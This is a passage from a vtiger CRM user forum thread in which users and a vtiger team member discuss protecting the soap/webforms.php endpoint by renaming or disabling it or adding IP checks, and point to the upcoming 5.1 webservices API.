    $client = new soapclient2&#40;$server_path&#46;&quot;/vtigerservice&#46;php?service=udhy382j&quot;, false,
                                                $proxyhost, $proxyport, $proxyusername, $proxypassword&#41;;


    and finally rename
    webforms.php
    to
    udhy382j.php (match the vtigerservice.php entry as well.)


    i don't know if any other pages rely on the presence of webforms.php but for now this should provide a small level of security, through obscurity.
  • prasad.aprasad.a
    Vote Up0Vote Down
    hi,

    if you are not using webforms plugin for your site, i would recommend you to rename soap/webforms.php to soap/webforms.php.txt

    in 5.1 we are planning to provide better webforms integration using vtiger crm webservices.

    regards,
    prasad
    vtiger team
  • JegasJegas
    Vote Up0Vote Down
    does this "in development" webservice code have a wsdl yet? at least a partial one with the functions, parameters and return results?

    i'm currently working on a project that this would help tremendously. right now i'm using a home grown multi-threaded web server with its own webservice system - which takes the place of the php entirely.

    it's very secure - session based - ip address verified each call etc... but if the vtiger team has a secure alternative - than that could open more doors for various installations/integration etc.

    the project i'm referring is a new a work in progress still - but the webservice stuff is coming along nicely.
  • prasad.aprasad.a
    Vote Up0Vote Down
    hi jason,

    webforms extension being developed is using the webservices api added for vtiger crm 5.1.0

    kindly look at the following documentation for more details:
    <!-- m --><a class="postlink" href="http://www.vtiger.com/archives/validation/5.1/2008.10/vtigercrm_5.1.0_webservices.pdf">http://www.vtiger.com/archives/validati ... rvices.pdf</a><!-- m -->

    related post:
    <!-- m --><a class="postlink" href="http://www.vtiger.com/blogs/2008/10/23/vtiger-crm-web-services/">http://www.vtiger.com/blogs/2008/10/23/ ... -services/</a><!-- m -->

    regards,
    prasad
    vtiger team
  • vTiger.itvTiger.it
    Vote Up0Vote Down
    hi prasad,
    to secure some installation we have added an ip validation check on webforms.php.
    this could be useful for all people who need webforms whitin 5.0.4

    if someone is interested we can post the code here

    regards
    dade
  • prasad.aprasad.a
    Vote Up0Vote Down
    hi dade,

    i would certainly encourage you to share the code here.

    if possible please do post it on <!-- m --><a class="postlink" href="http://trac.vtiger.com">http://trac.vtiger.com</a><!-- m --> and share the patch.

    regards,
    prasad
    vtiger team
Sign In or Register to comment.